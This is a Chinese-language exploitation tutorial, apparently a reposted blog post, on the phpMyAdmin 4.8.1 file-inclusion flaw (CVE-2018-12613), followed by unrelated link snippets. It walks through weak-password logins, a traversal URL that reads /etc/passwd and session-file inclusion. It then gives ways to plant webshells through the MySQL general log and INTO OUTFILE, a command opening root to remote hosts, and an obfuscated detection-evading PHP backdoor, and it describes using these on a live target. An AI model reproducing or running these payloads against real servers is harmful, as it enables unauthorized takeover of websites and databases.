18.phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,

通过二次编码即可绕过检查,造成远程文件包含漏洞。

受影响版本:

phpMyAdmin 4.8.0和4.8.1受到影响。

漏洞复现:

本次实验环境基于docker搭建,启动环境,使用一波phpmyadmin的弱口令,像

root/root,root/123456,root/toor....登进后台

不得不说phpmyadmin自从2.x版本有个前台登陆绕过后,到现在前台还没出现过其他的漏洞,

希望广大伙伴多多挖掘呀!!

使用弱口令 test/test ,成功登陆phpmyadmin后台:

访问 http://192.168.0.132:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

可见/etc/passwd被读取,说明文件包含漏洞存在:

利用方式也比较简单,可以执行一下  SELECT '<?php phpinfo()?>'; ,然后查看自己的sessionid(cookie中phpMyAdmin的值):

这样对应的SESSION文件为 /tmp/sess_sessionid

然后在网址中包含session文件即可:

可以看到顺利执行了phpinfo();

可想而知如果我们select一个php一句话木马,用菜刀连接,整站就可以被我们控制。

.......

实战演练:

到phpmyadmin后台后,getshell方法还很多,比如利用改变写入的日志的路径,写入我们的一句话木马,

首先呢,介绍两个MySQL全局变量(general_log、general_log file)

  •     general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。
  •     general log file 指的是日志的保存路径

mysql 5.0版本以上会创建日志文件,修改日志的全局变量,也可以getshell。但是也要对生成的日志有可读可写的权限。

查看日志状态:

SHOW VARIABLES LIKE 'general%';

general_log=ON 时,所执行的sql语句都会出现在 /var/lib/mysql/1e164993aaf5.log 文件

那么,如果把 general_log_file 的路径修改为 /var/lib/mysql/1.php,那么所执行的sql语句就会保存在

1.php中,如果我们执行一个php小马,就可以getshell:

SET GLOBAL general_log='on'

SET GLOBAL general_log_file='D:/wwwroot/1.php'

如果输入不存在的路径时:

或许我们可以利用这个来探测目录结构,如果路径正确的话

这样的话在相应的目录下就会生成一个1.php,由于我们是实战,所以无法截图...

再次查看日志的状态:

OK!!!满足要求!

将一句话木马写入1.php文件,既然是日志文件,我们select查询自然也会被保存在日志里面:

我们构造 :select '<?php phpinfo();?>'

这时候相当于我们把 <?php phpinfo();?> 写入到日志 1.php中,我们尝试访问

日志文件:1.php

成功getshell!!!

-------------------------------------------------------

还有一种方法就是一句话木马的写入:

select '<?php eval($_POST[cmd]); ?>' into outfile 'D:/phpStudy/www/1.php';

当然,前提是你得知道网站的绝对路径,方法也有很多,比如通过报错获取路径,通过phpinfo.php等等

但在新版的mysql中,这句话并没有运行成功,应为mysql新特性secure_file_priv会对读写文件产生影响,

该参数用来限制导入导出,可以查看该参数:

当secure_file_priv为NULL时,表示限制mysql不允许导入导出。所以爆出错误

要想使得该语句导出成功,则需要在mysql文件夹下修改my.ini 文件,

在[mysqld]内加入secure_file_priv ="" 即可

当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

此时就可以执行导出命令,这里不再复现

 

附一个数据库开启外链的命令:

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root密码' WITH GRANT OPTION;
附一个SQL查询免杀shell的语句
SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['bmjoker']));?>"

 

 

转载于:https://www.cnblogs.com/bmjoker/p/9897436.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/279035.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

关于“Python”的核心知识点整理大全38

14.1.1 创建 Button 类 由于Pygame没有内置创建按钮的方法&#xff0c;我们创建一个Button类&#xff0c;用于创建带标签的实心矩形。 你可以在游戏中使用这些代码来创建任何按钮。下面是Button类的第一部分&#xff0c;请将这个类保存为 文件button.py&#xff1a; button.py …

同步您的Google Chrome书签,主题等

Do you regularly use Google Chrome on multiple computers? Here’s how you can keep almost everything in your browser synced easily in Google Chrome. 您是否经常在多台计算机上使用Google Chrome&#xff1f; 您可以通过以下方法在Google Chrome浏览器中轻松同步浏…

找call写call_如何将Google Call Widget添加到任何网页

找call写callAdding a Google Call Widget to your website or blog allows visitors to contact you using your Google Voice number. The widget provides an easy and cost-effective way to provide live customer support without the customer knowing your real number…

XML与web开发-01- 在页面显示和 XML DOM 解析

前言&#xff1a; 关于 xml 特点和基础知识&#xff0c;可以菜鸟教程进行学习&#xff1a;http://www.runoob.com/xml/xml-tutorial.html 本系列笔记&#xff0c;主要介绍 xml 在 web 开发时需要了解的知识 XML 在页面显示数据 XML 指可扩展标记语言&#xff08;eXtensible Mar…

酷安应用市场php源码,酷安应用市场 v11.0.3-999 去广告极限精简版

酷安&#xff0c;真实有趣的数码社区。酷安app&#xff0c;国内安卓应用市场客户端&#xff0c;应用资源丰富&#xff0c;应用开发者水准高&#xff0c;应用无首发Logo&#xff0c;原汁原味上架&#xff0c;得到了安卓用户群广泛认可。有人说现在的酷安市场(酷安网)没有以前那么…

chromebook刷机_如何将网站添加到您的Chromebook架子上

chromebook刷机Bookmarks are great to keep your favorite sites nearby, but they aren’t the fastest option out there. Instead, why not add shortcuts for your favorite websites right on the Chromebook shelf? 书签可以很好地将您喜欢的网站保留在附近&#xff0c…

Locktopus锁定iOS设备上的单个应用程序

If you want to share a cool game on your iOS device but not let everyone read your email, Locktopus offers a simple app-by-app lockdown solution. 如果您想在iOS设备上共享一个很棒的游戏&#xff0c;但又不想让所有人都阅读您的电子邮件&#xff0c;那么Locktopus提…

视频翻录_将DVD解密并复制到硬盘驱动器而无需翻录

视频翻录Have you ever wanted to make backup copies of your DVDs but didn’t want to mess with confusing DVD ripping software? Today, we’ll look at drop dead simple method to decrypt DVDs on the fly with DVD43 so you can easily copy them to your hard dri…

详解面向对象、构造函数、原型与原型链

详解面向对象、构造函数、原型与原型链 为了帮助大家能够更加直观的学习和了解面向对象&#xff0c;我会用尽量简单易懂的描述来展示面向对象的相关知识。并且也准备了一些实用的例子帮助大家更加快速的掌握面向对象的真谛。 jQuery的面向对象实现封装拖拽简易版运动框架封装这…

如何将Wii遥控器用作陀螺仪鼠标

If you have a spare Nintendo Wii remote with the Motion Plus add-on, you can use it to control your Windows PC from across the room. Here’s how to get it working in a couple of easy steps. 如果您有带Motion Plus附加组件的备用Nintendo Wii遥控器&#xff0c;则…

php 自带 web server 如何重写 rewrite .htaccess

为什么80%的码农都做不了架构师&#xff1f;>>> <?php // filename: route.php if (preg_match(/\.(?:png|jpg|jpeg|gif|css|js)$/, $_SERVER["REQUEST_URI"])) {return false; } else {include __DIR__ . /index.php; } 更好的写法&#xff1a; &l…

sci-hub谷歌插件_Google Home Hub具有隐藏屏幕设置菜单

sci-hub谷歌插件You can adjust the brightness or set an alarm on your Google Home Hub with a voice command. But if you’re trying to be quiet or there’s a lot of background noise, you can also do these things using a hidden Screen Settings menu. 您可以使用…

二叉树的前序、中序、后序遍历与创建

#include <iostream> #include <string> #include <stack> using namespace std; struct node; typedef node *pNode; struct node { char data; pNode left, right; }; string line; string::iterator it; // 前序扩展序列建立二叉树 void plan…

flex-2

1、 2、 justify&#xff1a;整理版面 3、 4、归纳 justify-content&#xff1a;flex-start&#xff08;默认&#xff09;、center、flex-end 下面还会提到剩下的两种项目在主轴上对齐方式&#xff1a; space-between:两端对齐&#xff08;项目间距离相等&#xff09; space-ar…

火狐标签在中间_在Firefox中保留未使用的标签

火狐标签在中间If you have a lot of content heavy webpages open in Firefox, it soon adds up on memory usage. The BarTab extension puts unused tabs on hold and keeps them unloaded until you are ready to access them. 如果您在Firefox中打开了大量内容繁重的网页&…

iphone手机备忘录迁移_如何在iPhone和iPad上使用语音备忘录

iphone手机备忘录迁移Whether you’re recording a voice message as a reminder of that million dollar idea or catching a snippet of a new song you know you’ll forget, the iPhone and iPad’s Voice Memos app is the perfect tool. 无论您是录制语音消息来提醒这一百…

php 执行文件tar打包,利用tar for windows对大量文件进行快速打包

近期将某些网站换服务器&#xff0c;由于网站数量巨大&#xff0c;加上附件和静态页&#xff0c;文件数量异常多&#xff0c;考虑先打包然后直接传过去。起初尝试用winrar打包&#xff0c;但是发现即使选择”仅储存”速度仍然慢到无法接受&#xff0c;后来想到了tar&#xff0c…

DDD~领域事件中使用分布式事务

对于一个聚合来说&#xff0c;它可能会被附加很多事件&#xff0c;这里我们叫它领域事务&#xff0c;因为一个聚会我们可以把它理解成一个领域&#xff0c;一个业务。对于领域事件不清楚的同学可以看看我的这篇文章《DDD~领域事件与事件总线》&#xff0c;里面有详细的说明&…

如何在PowerPoint中制作打字机或命令行动画

Adding quirky animations to your Microsoft PowerPoint presentation gives your slideshow a little extra life. Not only will adding a typewriter or command line animation entertain your audience, but it will also keep them focused on the text. 在您的Microsof…

canvas 平滑运动_什么是电视上的运动平滑?人们为什么讨厌它?

canvas 平滑运动Willy Barton/Shutterstock.com威利巴顿/Shutterstock.comIf you’ve just bought a new TV, you might be wondering why everything you watch feels eerily sped up and smooth, like you’re watching a live broadcast all the time. You’re not imaginin…